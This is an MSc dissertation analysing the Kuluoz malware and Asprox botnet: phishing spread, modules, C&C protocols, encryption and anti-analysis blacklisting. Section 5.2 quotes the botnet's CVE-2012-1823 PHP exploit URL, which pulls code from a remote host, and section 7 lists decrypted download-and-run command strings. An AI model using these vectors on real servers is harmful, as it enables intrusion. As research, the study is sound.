Kuluoz: Malware and Botnet Analysis

IDC Herzliya

Efi Arazi School of Computer Science

MSc in Computer Science

Kuluoz: Malware and botnet analysis

M.Sc. dissertation for applied project

Submitted by: Shaked Bar

ID: 300895224

Supervisor: Mr. Amichai Shulman

August 15, 2013

Kuluoz – malware and botnet analysis

Shaked Bar, IDC, Hertzelia, Israel

Table of Contents

1. Abstract ...... 4 2. Introduction ...... 4 3. Related Work ...... 5 4. Infection Process and Summary of Capabilities ...... 6 4.1. Infection and Distribution ...... 6 4.2. Revision History ...... 7 4.3. Software Engineering ...... 8 5. Module Overview ...... 9 5.1. Botnet Expansion Module ...... 10 5.1.1. General description ...... 10 5.1.2. Flow ...... 10 5.1.3. Configuration ...... 11 5.1.4. Manipulating the C&C ...... 13 5.2. Vulnerability Scanning Module ...... 14 5.3. Information Stealing Module ...... 15 5.4. Commercial Spam Module ...... 15 6. Malware injected through the Botnet...... 16 6.1. Win32/FakeAV ...... 16 6.2. Win32/ZBot ...... 17 6.3. Win32/ZeroAccess ...... 18 7. C&C Communications ...... 19 7.1. Victim ID ...... 19 7.2. C&C protocols overview ...... 19 7.3. “Next action” Request ...... 20 7.4. Update C&C Server List ...... 22 7.5. Additional Requests...... 23 7.6. Multiple C&C Networks...... 23

7.7. Encryption algorithms ...... 24 7.7.1. Module encryption ...... 24 7.7.2. C&C protocol encryption ...... 24 7.7.3. Module communications encryption ...... 24 8. C&C Network Structure ...... 25 8.1. Overview...... 25 8.2. Number of C&C Servers by Date ...... 25 8.3. C&C Servers Life Span ...... 26 8.3.1. Life span by version ...... 26 8.3.2. Life Span by Geography ...... 26 8.4. Servers by Geography ...... 27 9. Malware Changes Over Time ...... 29 9.1. DLL Revision Changes ...... 29 9.2. C&C Request Protocol ...... 29 9.3. C&C Response Protocol...... 29 10. Analysis Protection ...... 30 10.1. Blacklisting ...... 30 10.1.1. Identifier based blacklisting ...... 30 10.1.2. IP based blacklisting ...... 30 10.1.3. Empty responses on error ...... 31 10.1.4. Using IP addresses rather than domain addresses ...... 31 11. Mother-Ship Investigation ...... 32 11.1. Triangulation ...... 32 11.2. Injection and Request Smuggling Attempts ...... 34 11.2.1. SQL Injection attempts ...... 34 11.2.2. Cross Side Scripting (XSS) attempts ...... 34 11.2.3. Request Smuggling Attempts ...... 35 12. Conclusions ...... 36 13. Table of figures ...... 38 13.1. Figures ...... 38 13.2. Tables ...... 38 14. References ...... 39 תקציר 14

1. Abstract

Kuluoz is a commercial malware that infected a large number of machines around the world, and produced a significant amount of spam. The botnet induced by the malware, also known as the Asprox botnet, has drawn the interest of security researchers worldwide, and was covered by a report by Trend Micro1. The Asprox botnet is an old botnet, which achieved great success a few years ago2, mainly at 2008, and have gone off the radar since 2010.

This work extends the report, using research results from work on a large amount of data, from the last 10 months. Our work presents a view on the malware and its capabilities, and adding new information on its structure, C&C network, and changes to the malware over time, and different protection mechanisms.

We will try to spot the main keys for its success and long run – the ability to make changes quickly and easily, features that help it to stay off the radar, and its C&C architecture, which hides the core servers by a series of hacked proxy servers that are easily replaced.

The report will also try to shed light on the C&C's "Mothership" – in terms of location, roles, and security.

2. Introduction

This report describes a family of malware, spread by spear-Phishing, which is identified by most antivirus vendors as Kuluoz.

The malware, despite being rather simple in terms of infection process, reached impressive spread and created a large botnet with many capabilities – generating a large amount of spam, spreading various third party viruses, and stealing information from users.

We analyzed the malware for the last 10 months, focusing on functional analysis – trying to understand the Trojans capabilities, methods of infection and distribution, and C&C protocols.

We dynamically analyzed the malware, both in open (Internet) and closed (local virtual network simulation) environments. We used network captures, system monitoring tools and a variety of scripts, developed specifically for the analysis of the data. After understanding the C&C protocols, we also created simulations for the different modules, in order to test the C&C responses and understand how it works, and to try to learn about its core – the C&C's "Mothership".

1 Asprox report on Trend Micro 2 An Analysis of the Asprox Botnet, Ravishankar Borgaonkar

3. Related Work

Initial reports on the malware Kuluoz have been published at June 2012. Most of the preliminary reports were basic anti-virus vendors' reports, such as [21], which had basic information about the malware's capabilities, and ways to remove it. However Asprox, the botnet induced by the malware, has drawn attention, mainly at 2008, and was covered by reports such as [2], that explained its previous structure and actions.

The main and only extensive report on Kuluoz and the updated Asprox botnet so far was published by Trend Micro [1] on March 2013, during the later stages of our research. The report covered the malware's infection methods, its main modules and affiliates, the network communications and the C&C network.

Our work extends the view on the malware in a number of aspects:

 Explaining in detail the malware's modular structure, that helped it to succeed for a long period of time.  Adding more data on some of the malwares modules and affiliate malware, especially on the botnet expansion module, including interesting discoveries on their network communications and C&C network.  Focusing on the malware's improvements over time and the interesting analysis protection mechanisms.  Showing in detail the C&C network's two-tier structure, and shedding light over the malware's core possible location.

Another innovative aspect of this work is the way we analyzed the malware. There is an extensive research on ways to successfully analyze malware. However, most works focus on a number of aspects:

 Infection method [22] – focusing on understanding the initial infection.  Reverse engineering – static or dynamic [23] reverse engineering of the malware.  Monitoring the malwares function and system calls using sandbox execution [24].

A report that shows a way of analysis similar to ours can be found in [25]. This work suggests using a combination of malware analysis methods – using network "black holes", anti-virus scanning, and running the malware on a controlled close environment, while responding to different requests such as HTTP, FTP, SMTP and etc.

Our addition is that we do not only reply to the malware's different requests – we reply with specially crafted responses, both recorded from previous use or generated, in order to learn better about the way it behaves and operates.

4. Infection Process and Summary of Capabilities

4.1. Infection and Distribution

Distribution of the Kuluoz malware is done solely by spam mail, sending Phishing mails (see Figure 2, Figure 3, Figure 4) impersonating as dispatch and delivery companies mostly (FedEx, UPS, DHL and others), and occasionally airlines (Delta, American Airlines).

The infection itself is rather simple – the spam mail contains a link that allegedly references a file containing a receipt. The file is compressed archived hosted on a compromised server. Upon clicking the link, the archive file is downloaded. The compressed archive contains a single executable file. The file’s icon is changed to pretend to be some sort of Office document, but it actually is a portable executable (PE).

Figure 1: Kuluoz executable and zip file, with a Microsoft Word icon for the executable

The malware keeps on spreading using its victims to keep on sending out mails – one of its first actions, is downloading a spam sending module, which receives a mail template and a list of addresses to spam.

To increase infection capabilities, the spam mail comes in a variety of templates, to avoid spam detection. There have also been reports of related mails in various languages (German, Spanish) that target users from different countries. We also saw a rise in the malware spam sending during the holiday season, as at that period people are more likely be sending and receiving packages from loosely related individuals.

To avoid antivirus detection, a new, modified, version of the malware is released every few days, once the previous version is detected by most antivirus vendors. The core malware stays code remains very similar, and only minor changes are done to avoid detection, without changing the malware's functionality (simply to change the file's hash, and avoid the antivirus signatures).

Figure 2: UPS spam, from September 2012

Figure 3: American Airlines spam, from April 2013

Figure 4: DHL spam, from May 2013 4.2. Revision History

Below are tables with a list of some of the malware’s versions, and a summary of the versions we encountered, during a 6 months period. This shows the number of transforms the malware is going through on a weekly basis – sometimes minor changes, just to avoid antivirus detection (as you can see versions with the same file size), and some are bigger changes, for example changes in the C&C protocols, encryption algorithms and other small improvements.

AV Executable name Date Size (b) MD5 identification 3 KuluozB/ Postal_Receipt.exe 25/11/2012 55808 ab25d6dbf9b041c0a7625f660cfa17aa Dapato PostalReceipt.exe 19/01/2013 36352 a52addb6977b3a6e858d9a4b649c2633 KuluozB Postal-Receipt.exe 13/03/2013 37376 f48a6740f2e0d70343f600be12220adc KuluozB Postal-Receipt.exe 22/03/2013 34304 25627294dce365807f98d31c6bf02018 KuluozB KuluozB/ Postal-Receipt.exe 04/04/2013 28672 d77bdb983460bd9aa45ba59b920a2eb5 Dofoil KuluozB/ Postal-Receipt.exe 07/04/2013 28672 3e0515afe443448a5eb4522b8e1e9572 Dofoil Delivery Information ID-004588020234- KuluozB/ Z31.exe 05/05/2013 32256 38213f1d3d1e09c957a3fc37be8811c3 Dofoil UPS- KuluozB/ Label_Copy_UPS.exe 28/06/2013 111616 3911d8371fd6fe478d4c2f7cbb85b170 SmartFortress Delivery_Informatio n_ID- 004588020234- KuluozB/ Z31.exe 27/05/2013 49152 13e8ff1c72bd70f860306bb4b410335e Dofoil

Table 1: List of malware executable files

Number of versions Minimum Size(b) Maximum Size(b) Average Size(b) 35 23040 111616 48625.37143

Table 2: Malware versions summary 4.3. Software Engineering

Despite being a simple malware in the aspect of infection, and not using any exploits rather than social engineering, the malware’s software design is sophisticated, and allows it to keep its activity for close to a year, with only minor changes.

The malware is built in a modular way – the basic executable is lightweight, and contains only basic features: A number of initial C&C server IP addresses, a protocol to download and run modules, and a protocol to update the C&C network addresses. This allows the infecting executable to be rather small, and to have only minor changes from one version to another, mostly for the purpose of avoiding antivirus detection.

The downloaded modules do the actual work – they are downloaded only when needed, and each module has responsibility specific functionality.

Another important feature that this modular structure allows is the ability to serve as a distribution and infection platform for 3rd party malware. This seems to be one of the botnet’s revenue models. The main module downloads third party malware and executes it.

3 Most common antivirus identification, from VirusTotal

5. Module Overview

The malware has a number of downloadable modules. Here we will give just a brief outline of these modules, as we address them later in aspects of encryption and their communication with the C&C network. They are also covered in further detail on Trend Micro’s Asprox report.

Kuluoz

Module Malware C&C Channel Download Download Maintenance

Botnet Fake AV Expansion

Commercial ZeroAccess Spam

Information ZBot Stealing

Vulnerability scanning

 Dark blue – internal logic from the malware’s executable.  Light blue – expansion modules/executables.

Figure 5: Kuluoz software modular structure

The following table shows a summary of all modules we have seen throughout the research period and their respective functions:

Module Dll names Comments

Botnet expansion module sb*.dll.crp More than 20 different versions

Commercial spam module smtpWorker.dll.crp

Vulnerabilities scanning module php.dll.crp Inactive for the last few months

pg.dll.crp passgrub_v*.dll.crp asdsdsd.dll.crp lite.dll.crp Information stealing module si*.dll.crp Currently active is si13.dll.crp Table 3: Kuluz modules overview 5.1. Botnet Expansion Module

5.1.1. General description

This is one of the main modules of the malware. It is in charge of sending spam mails to a given list of addresses, with a given template, in order to expand the botnet with new victims. We have seen many versions of it in the past 10 months (more than 20 versions), but the main operation and protocol remains the same.

5.1.2. Flow

The module uses the HTTP protocol to communicate over the web with a secondary C&C network (more details on section 4.3). The module works using the following flow:

 A POST request is sent to one of the C&C servers, and provides it with information about the agent: a session identifier (SID), uptime of the agent, module version, and the agent’s GUID.  The C&C server replies to the POST request with an encrypted response. The response is encrypted simply by taking every byte, and replacing it with the result of a XOR operation with a constant key – 0x2B.  The agent decrypts the configuration file and starts sending the spam mail to the provided targets  The agent reports back to the C&C server with a constant frequency. Each report is a POST request (see Figure 6) that contains progress information in the following way: o A vector that summarizes that amount of mails sent successfully, DNS errors, no connection with the SMTP server, and other. o A char vector that represents the result for each spam target, using a single character. For example, it uses S for success, C for no connection with the SMTP server, and 0 for targets that were not handled yet.  After receiving a complete vector, meaning that all the targets were handled, the botnet replies with a new encrypted XML, with further action to take.

Figure 6: Example of a POST request with the spam sending progress

5.1.3. Configuration

The configuration in an XML document that contains a list of spam targets (see figure 8) and a template for the mail to be sent. The template includes placeholders for sender addresses (fake of course), sender name, etc. (see figure 9). Interestingly enough, the configuration file contains instruction regarding handling of different SMTP protocol scenarios (see figure 10). A single configuration file may contain up to 2000 target addresses. If there is no spam to send on this round, the server only includes an up-to-date list of C&C servers.

Figure 7: Template of the module's XML configuration

Figure 8: Example of a partial list of spam targets, in the spam configuration

Figure 9: Example of the placeholders used in the message body field in the configuration

Figure 10: Example of the SMTP handling rules from the configuration

5.1.4. Manipulating the C&C

Once we reached an understanding on the module’s operation and protocol with the C&C, we used our knowledge to generate requests and fake status reports to the C&C, without actually sending out spam mail. This enabled us to test the C&C responses and get more data without spreading the malware.

By analyzing the targets we received from the botnet, it seems that it holds a large dictionary of email addresses, and uses the different agents for distributed spam sending. All the target addresses start with the same prefix (for example, bob@), under different domains.

By using this method we also noticed that the botnet carefully controls the amount of spam being generated by a single agent – usually after 3 rounds (where each round usually holds 2000 targets), we didn’t receive new targets to spam for a few hours period.

5.2. Vulnerability Scanning Module

A module that allows distributed scanning of servers for known vulnerabilities, probably in order to compromise those servers and extend the C&C network, or build a botnet of compromised servers.

The module sends configuration requests to the C&C and receives obfuscated configurations (see Figure 11). The requests are sent using the same basic protocol used by the main module (described at section 6.2).

The configuration has 3 parts:

 The attack vector – a relative URL to test for each of the server.  Expected response – a pattern to be matched against the response from the targeted server. A match against the pattern is a positive sign for the existence of the vulnerability.  List of target servers (domain names)

The module sends an HTTP request with the attack vector to each host in the list and checks if the expected result was received. It then reports back the list of vulnerable servers, using an HTTP POST request (see Figure 12), to the same C&C server that supplied its configuration.

We were able to see two exploit vectors being targeted by the botnet:

 Accessing the servers on port 2082, and checking for specific output (© cPanel), that appears on older cPanel versions, that are vulnerable  Testing a remote execution vulnerability in PHP - CVE-2012-18234, by using the vector: /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+- dallow_url_fopen%3dOn+-dallow_url_include%3dOn+- dauto_prepend_file%3dhttp%3A%2F%2F50.22.136.150%3A8080%2Fecho.txt

4 CVE-2012-1823 details

Figure 11: Example Base64 encoded configuration

Figure 12: The module reporting back results (vulnerable servers redacted) 5.3. Information Stealing Module

This module tries to steal data and credentials from FTP clients, web browsers and email clients. It searches the registry and the file system, and responds with an HTTP POST message with the stolen data. 5.4. Commercial Spam Module

This is a secondary spam sending module, which is used to send out commercial spam to generate revenue, rather than to get new victims.

This module doesn’t just send out loads of spam from fake addresses, as done in the previous module, but uses actual (possible stolen) accounts, as explained on TrendMicro's report5.

5 Page 14 on TrendMicro's Asprox Reborn report

6. Malware injected through the Botnet

One source of revenue for the botnet comes from other malwares’ “affiliate programs”. As we saw, the agent allows easy download and execution of other executable files, and it uses this capability for distributing third party malware. We have seen a number of different malware agents distributed through the Kuluoz botnet. Below is a list of the main ones. 6.1. Win32/FakeAV

FakeAV 6 is one of the main malware agents spread by the botnet, on different versions. This malware simulates an antivirus program to obtain payment from the user for the detection and deletion of false threats.

In the last few years, fake AV software has evolved into one of the most lucrative criminal operations on the Internet, earning combined revenue of hundreds of millions of dollars per year7.

After the initial infection, the malware opens a graphical interface, which appears as a legitimate antivirus program. Then, a fake scan progress is shown. The alleged scan allegedly identifies viruses on the infected computer, and advices the user to purchase a full version that would clean-up the computer. The malware also blocks most programs (with a “virus” warning), until receiving the payment from the user. We have seen this malware on many occasions, and with different versions.

6 FakeAV report on SecureList 7 The Underground Economy of Fake Antivirus Software

Figure 13: Example of the FakeAV in action 6.2. Win32/ZBot

ZBot8 (also known as Zeus) is the name of a toolkit used to create information stealing Trojans. It is a known and widespread brand of malware, causing loss of millions of dollars worldwide. The kit is obtained on underground forums with older versions available for free and the newest, fully-featured versions costing several thousand dollars. It is rather easy to use and therefore there is a large number of such Trojans out in the wild.

The version that was injected through the botnet on December 27th 2012 used the domain poebalu7raz.com as its C&C server. Two days later, on December 29th 2012, this domain was reported at Zeus Tracker9 and then the domain was suspended at the end of 2012.

Once downloaded and injected, the agent downloads an encrypted binary configuration file. The configuration is received as a response to an HTTP POST request. The encryption used is RC4, and the key is located within the infecting executable.

After downloading the configuration file, the ZBot agent continues running, and communicates with the C&C server using HTTP POST to a different URL.

Figure 14: ZBot configuration download

Figure 15: Agent communication with the C&C server

8 ZBot report by Sophos 9 ZeusTracker - Zeus malware tracker

6.3. Win32/ZeroAccess

ZeroAccess10, also known as Sirefef, is a malware that is mainly used to generate ad-click fraud. The malware uses a peer-to-peer (P2P) C&C network, which is used to download malware modules, mainly for the purpose of generating fake traffic for ad-click revenue for its operators.

After infection, the agent first checks the victim’s geographic location, running a JavaScript from maxmind.com (a well-known GeoLocation provider offering some free APIs). This is probably in order to choose the P2P neighbors of the agent. Then, in order to gain administrator privileges, the malware downloads and installs an update for Adobe Flash program. Once the update starts installing, the agent uses its credentials, and starts operating – sending and receiving UDP packets from the P2P neighbors.

Figure 16: ZeroAccess agent checking the geographic location

Figure 17: ZeroAccess agent downloading Adobe Flash update

Figure 18: ZeroAccess P2P communication

10 ZeroAccess report by Kindsight

7. C&C Communications

7.1. Victim ID

The malware generates a unique identifier for each member of the botnet. This identifier is used in all communications between the agent and the C&C.

The ID is a 32 characters string, where each character represents a single hexadecimal nibble (0-9, A-F), to form a 16 byte identifier. The ID is generated using the victim’s account SID, which is a combined unique identifier for a Microsoft Windows computer and user account. The SID is built out of a unique ID for the Windows computer, and a relative ID (RID) of the current logged on user. A MD5 hash is calculated over the SID. The result is used as the agent’s full ID in the botnet, and the first 4 bytes (represented by 8 characters) as the short ID. The short ID is used for most communications with the C&C network, and in particular as the encryption key for C&C communications. 7.2. C&C protocols overview

The command and control network of the botnet is built from a number of servers. The agent comes bundled with an initial list of C&C servers, in an IP and port format (rather than host name).

The agent and C&C server communicate using the HTTP protocol over the specified port. The agent periodically sends a request to the C&C, and the C&C server responds with the next action to take. In the earlier versions of this malware agent would send a request every 2 minutes. The communications frequency decreased with newer versions going through once every 5 minutes, 7 minutes and eventually once every 10 minutes. The first request by the agent is sent after some delay that depends on the specific malware revision. Earlier versions would send the first request almost immediately after infection. More recent versions wait 5 to 10 minutes before sending that first request.

Depending on the action specified by the server, the agent may invoke further communications.

The requests sent by the agent to the C&C contain RC4 encrypted data (more details below) communicated as the query string of a HTTP GET request. The encryption key is the victim’s 8 characters (4 bytes) short ID described above. The request sent is a hex string that is built from the 4 bytes key, and the encrypted request.

Figure 19: Example of a request and response using the described protocol

Once decrypted, the request is in the format of a request to a web page – index.php, with a number of parameters, varying between the command types. Two parameters appear in all types of commands:

 r – Indicates the type of request.  id – The identifier of the agent (as described at section 6.1).

We have observed two types of requests:

 Periodic request to get the next action  Request to get an updated C&C servers list

There are also additional request types, which are added by the malware’s modules. 7.3. “Next action” Request

The request to get the next command is the first request sent after infection. Once receiving a command, the agent executes it, and sends another request. In case there is no action to take (idle command, described below), the agent waits a number of minutes before sending out another request.

The request contains the following fields:

 r – the type of request. The value is always “gate” (see discussion in section 10 below).  id – Contains the full agent ID (the 32 characters hex string).  group – Contains the current version of the agent. The version contains the date it was released, and the text “rcm”.  debug – A debug flag, for inner testing purposes. In all cases we saw it used as 0. No change was spotted when trying to send out 1 as the value.

Example: Encrypted request:

A702A3CABFF540237ADDEB3DCD26544C7711EC579973C07084B08E1C10353248BEA556DE 148D3AF0FE9AE770CFF5D67D1EEA31B492515534B7EE6A5F0C547C3E74DA8E00F3BEFED42

0EFB77B104CF1 Decrypted request:

/index.php?r=gate&id=A702A3CAFB3448A692EE8358016BB2F4&group=1602rcm&debug=0

The response to the “next action” request is a plaintext response that contains a number of fields. The first field (c) indicates the type of action to run. The rest of the fields depend on the type of action. Following is a description of the different action types:

 idl Idle, wait for the further instructions. Example: c=idl  run Download an executable (a 3rd party malware), and run it. Additional fields: o u – Relative path to the file, on the C&C server o crc – Error detection code, a MD5 hash to make sure the file was downloaded successfully Example: c=run&u=/get/64cfb0f235abac25d837b660f3e3549b.exe&crc=622f1bfdfee2610ac3 e0e9862c98f0a7  rdl Download an encrypted expansion module (dll). Decrypt and run it. Additional fields: o u – Relative path to the file, on the C&C server o a – Encryption algorithm number (0 or 1) o k – Encryption key o n – Name of the module o crc – Error detection code, a MD5 hash to make sure the module was downloaded successfully Example: c=rdl&u=/get/sb215.dll.crp&a=1&k=0a922f30&n=sb215&crc=ed59bd2fcc621fe517a 36f3cae5a279b  red Edit a registry value. This allows the agent to stop the execution of older versions of modules, after a new version was downloaded. Additional fields: o n – Key to edit Example: c=red&n=sb214  rem Uninstall the agent. Example: c=rem  upd Download and install an updated agent version. Additional fields: o u – Relative path to the file, on the C&C server

7.4. Update C&C Server List

The requests to get an updated C&C server list are sent in bulk, 3-4 request at once, to different C&C addresses. Every few minutes, a new bulk of requests are sent.

The request contains only the common two fields described above:

 r – The type of request. Value is gate/getipslist  id – The identified in this type of request is the short 8 characters ID

For example:

Encrypted request:

A702A3CABFF540237ADDEB3DCD26544C7711EC57997ACE71CD98C95F4E1D727FD98A70D 0618E3283 Decrypted request:

/index.php?r=gate/getipslist&id=A702A3CA

In response to the C&C address list request, the C&C server sends a list of addresses in IP:PORT format. The list is RC4 encrypted, using the id field content as the encryption key.

Figure 20: Example of request and response for C&C server list

Figure 21: Actual C&C server list, after decryption

7.5. Additional Requests

In addition to the two main requests described, the downloaded modules can use this protocol for their own communication. The vulnerability scanning module adds a request with a “dcheck” identifier.

The request contains three fields:

 r - Type of request. The value is gate/dcheck  id – The identified in this type of request is the short 8 characters ID  code – Unknown flag. We saw it in the wild as 0

For example:

Encrypted request: f6fae4cf31A0BBA35CD1553F6DE8530C3FE0D8049C62C5EE5488D47652ED9E2AAE123F7C8F 7BDC90A817DF82A7E2 Decrypted request:

/index.php?r=gate/dcheck?id=f6fae4cf&code=0 7.6. Multiple C&C Networks

An interesting point in the malware’s C&C structure is that it contains more than one independent C&C network. The protocol described above communicates with a single C&C network, built from several IP addresses. However, some of the modules don’t use this protocol to communicate. In addition, they don’t even use the same C&C network.

The botnet expansion module, which is in charge of spreading the malware, uses a completely different protocol, and also a completely different and independent C&C network. IP’s in the regular C&C network do not necessarily respond to the spam C&C protocol, and vice-versa. This is an interesting architecture, which allows the malware to keep spreading itself, even if its C&C network is temporarily not available. It also prevents the main from being directly correlated to spam, which helps it to stay under the radar for longer.

The secondary C&C network uses a different protocol for communicating with the agent – an HTTP POST protocol, described in section 4.1. The botnet expansion module (sb*.dll.crp) comes bundled with an initial list of C&C server addresses. The addresses are saved on a file on the disk – at the AppData\Local\Temp directory of the logged on user. The file is encrypted, using the same XOR encryption as the encryption of the C&C responses in this protocol.

Every response of the C&C, as described above, contains an encrypted XML document. The document always contains the tag “s”, which holds an updated list of C&C addresses. After each response is received, the C&C address file on the disk is updated as well.

7.7. Encryption algorithms

The malware uses several encryption algorithms, for several reasons: to avoid network detection when contacting the C&C network, to avoid antivirus detection of the different modules, and to make analysis of the malware more difficult. Different modules use varying encryption algorithms.

7.7.1. Module encryption

As explained above, when receiving a command from the C&C network to download a module, it includes the encryption key and encryption algorithm number (so far only 0 and 1 were used). This lets the malware know how to decrypt and run the encrypted downloaded module. The key is communicated from the server to the client using plaintext.

Using this method the malware creators can change the encryption algorithms easily – and they have done so during the last 10 months. In the beginning of the Kuluoz campaign, a very simple encryption algorithm was used – a 4 byte key, that was used to XOR every 4 bytes of the encrypted dll. After a few months, however, the encryption algorithm was changed to RC4 encryption.

7.7.2. C&C protocol encryption

As mentioned above, the C&C requests, as well as the responses including the updated C&C addresses, are encrypted using RC4 encryption.

The request’s relative URL is encrypted, and converted into a hex string representation, and then the 8 characters hex string key is added as a prefix. The C&C extracts the key from the URL, knows which agent sent out the request and generates the appropriate response. The advantages of using encryption for the C&C requests are the following:

 Increase complexity and time of botnet analysis.  Conceal the true nature of the botnet structure (see section 10).  Avoid detection by standard IPS / IDS as each request looks different and there’s no distinctive common textual pattern to use as a “signature”.

7.7.3. Module communications encryption

The different modules also use encryption algorithms, but the interesting thing is that the encryption methods defer from one another, and also improve over time.

The main goal of the modules’ encryption seems to be avoiding network filters, as they are easily distinguishable when examined in plaintext.

The earliest module, the botnet expansion module, uses a very basic encryption – the request is sent in plaintext, and the response is simply encrypted, using XOR for every byte with a constant value (0x2B).

The vulnerability scanning module does not even do that – the requests are simply encoded using Base64 encoding, probably in order to avoid network filters detection of a URL in the request that contains an XSS or other vulnerability probing vector. The agent's response is sent as plaintext.

The password and data stealing module, uses a combination of both - the data is sent encoded using Base64, and also RC4 encrypted using a different password then the victim’s 8 byte ID.

8. C&C Network Structure

8.1. Overview

The C&C network is actually a two tier structure comprising a set of proxy servers that relay traffic to a central functional server. The central server is sometimes referred to as “Mother ship”.

The agent comes bundled with an initial list of servers. The list is periodically refreshed using the protocol described above. Each of the servers in the list hosts an Nginx proxy server11 that relays the communication to the “Mother ship”. It appears that the proxies are based on compromised servers, that had Nginx installed on them (as part of the compromise). This way the botnet members are only exposed to addresses of legitimate compromised servers, while the Mother Ship remains hidden. Even when a compromised server is identified and cleaned up, researchers still do not have access to the actual Mother Ship.

This is an important architecture that supports Kuluoz’s long lasting campaign – it is hard to spot the actual C&C server, and losing a proxy server is not important – there are always alternative servers, and it is possible to keep adding and changing the list of servers, using the IP list update protocol. This way, proxies that are no longer available (owners discovered the activity, security products block it, the server is down or other reasons) can be removed from the C&C network, and new compromised servers can easily be added.

As mentioned in the introduction, we collected data about Kuluoz for the last 10 months. During this time, we observed the C&C networks, and how they change. It is interesting to see how the size of the network fluctuates, and how the different changes made to the malware affect the size of the C&C network, and the life span of the servers that comprise it. 8.2. Number of C&C Servers by Date

The number of servers in the C&C network varied through time. At some points, the network had only 4 servers, and on others as many as 57 different servers. The number of servers in the network behaves like a wave function over time. Each time it reaches a minimal number

11 NGINX HTTP proxy

25 of servers, a large number of new servers are gradually added. Then, after reaching a peak, the number starts declining again.

The malware’s operators make sure that the C&C network never goes inactive – there are always a few servers available, and once the number is too low, new compromised servers are added to the network.

Number of servers 60

Figure 22: Graph of the number of IPs in the C&C network, per date 8.3. C&C Servers Life Span

8.3.1. Life span by version

An aspect we checked in the C&C network is the life span of individual servers. In the early months of the Kuluoz campaign (August-October), the proxy servers changed more frequently, and the servers never lasted more than a month and a half. However, since then the addresses are more stable, and some addresses remained active for nearly five months. This shows how the changes made to the malware and its protocols improved its resilience, and made its discovery and takedown harder. After adding extra security measures, such as improved encryption, EDC for downloaded modules, and analysis protection mechanisms (described below), the C&C servers managed to keep active for longer before being discovered and blocked.

8.3.2. Life Span by Geography

Another interesting aspect in the servers’ life span is the life span by geographic location. We calculated the average life span of servers in North America, Europe and Asia (the three main locations for the C&C servers, where enough data is present to see a trend). Interestingly, there were major differences between the three continents – servers in North

America lasted half of the time European servers did, and less than third of the time the servers in Asia lasted.

This could be due to the increased awareness to security related issues in North America, compared to the rest of the world.

North America Europe Asia 10.12121 20.61207 34.33333

Table 4: Average C&C server life span by region, in days 8.4. Servers by Geography

The C&C network is comprised of proxies located world-wide. It seems that the botnet operators try to make sure that at any given time there are proxies from Europe, Asia, and North America.

South America Servers by Continent 3%

North America 29% Europe 51% Asia 14% Central Oceania America 2% 1% Figure 23: Chart of the percentage of IPs in the C&C network, per continent, from August 2012 until June 2013

Servers by Country

Romania Other 2% 20% Netherlands United States 2% 26% Russian Federation Hong Kong Germany 2% 3% 14% Canada France 3% Thailand 4% 12% United Turkey Kingdom 6%

6% Figure 24: Chart of the percentage of IPs in the C&C network, per country, from August 2012 until June 2013

9. Malware Changes Over Time

There are numerous changes that the malware went through over the research period, which were made easy because of its modular structure. 9.1. DLL Revision Changes

There have been as many as 22 revisions of the botnet expansion module so far, and a few versions of the other modules as well. The malware’s structure allows an easy and dynamic switch of versions, even after a victim is infected and downloads the module. 9.2. C&C Request Protocol

The earlier samples of the malware used a slightly different version of the basic protocol. While using the same type of encryption scheme the “next action” request message to get the next command looked like the following:

/index.php?r=gate&id=f6fae4cf&group=0708rcm&debug=0&ips=10.0.0.1

As you can see an IP address of the infected machine is included instead of the unique identifier. Operators quickly figured out that IP address is useless as it represents an arbitrary internal network address. Therefore the protocol was modified to use the SID. 9.3. C&C Response Protocol

Another change, intended to reduce chances of discovery and increase robustness, is the addition of an Error Detection Code when downloading modules from the C&C. In the earlier versions of the malware, in order to download a module, the server response had the command name (rdl), the path to the file on the C&C, the encryption algorithm number, the encryption key and the dll name. However, it did not include a check to make sure that the module’s code was downloaded successfully before trying to deploy it. After downloading the module, the malware decrypts the module, and tries to inject it under the svchost.exe process and run it. If the module was not downloaded successfully, this would lead a process crash and would practically remove the malware from the infected computer.

In the later versions, an EDC was added to the download command (called CRC in the protocol), to make sure that the module is injected only if downloaded successfully. The EDC is the result of a MD5 hash of the module’s contents. The hash is then recalculated after downloading the module, and matched against the sent EDC value.

Example: Old version: c=rdl&u=/get/sb201.dll.crp&a=0&k=79db532e&n=sb201

New version: c=rdl&u=/get/sb216.dll.crp&a=1&k=149aad48&n=sb216&crc=a7d20631bc2d1b1bec6e1c30 5d5b8b90

10. Analysis Protection

Other than the encryption techniques used by the malware, it uses a couple of other interesting techniques to avoid analysis. 10.1. Blacklisting

The C&C network uses a mechanism of blacklisting, in order to block certain suspicious addresses or regions. When an address is blacklisted, requests from that address are blocked, and the C&C returns a “404 - page not found error”, instead of the regular response.

10.1.1. Identifier based blacklisting

One type of blacklisting is based on the user’s identifier. Once a victim is infected, and sends a request with its identifier, which is based on the computer’s SID – that identifier is blacklisted for further infection. Trying to run the malware more than once from the same account on the same machine (or by a duplicate virtual machine with the same SID), causes the C&C to return the 404 error. However, when changing the SID of the machine, or simply logging in from a different user account (that has a different RID, and therefore a different SID), the malware responds normally.

10.1.2. IP based blacklisting

The second type of blacklisting is based on the IP address of the agent. We have noticed two types of IP based blacklisting behaviors:

Proxy and cloud blacklisting When trying to run from an EC2 machine12 on Amazon’s cloud, or when connecting through most of TOR’s13 proxy exit points, the requests are blocked with the 404 error. It seems that the malware blacklists Amazon’s range of IPs for EC2, and keeps a list of TOR exit nodes, that gets updated occasionally. However, not all the exit points are mapped, as through some of them we managed to communicate with the C&C. It is sort of a cat and mouse game, where there are new exit points popping up and the malware maps and blocks them.

The proxy and cloud IP’s blacklisting is permanent – once an address is blocked, it would not receive a response later.

Geographic region blacklisting A second type of blacklisting is blacklisting a geographic location (geo screening). This could be due to a spam campaign, targeting a specific region. However, this blacklisting is usually temporary, as new campaigns could target different or wider regions. For example, on some dates IP addresses from Israel were blocked, and then a few weeks later they received responses again.

12 Amazon EC2 13 TOR Project

10.1.3. Empty responses on error

Another feature we discovered during the Mothership investigation (details in the next chapter), is that when there is an error in the request URL, to one of the C&C servers, an empty response is returned without disclosure of any data.

For example, in case the RC4 encrypted hex string is invalid (not encrypted using the given key), or if the decrypted request is to a wrong page (wrong request format, or another page rather than index.php) - the response is a HTTP 200 OK, but with no data.

10.1.4. Using IP addresses rather than domain addresses

All of the communication with the C&C proxies is done based on IP addresses, rather than domain addresses.

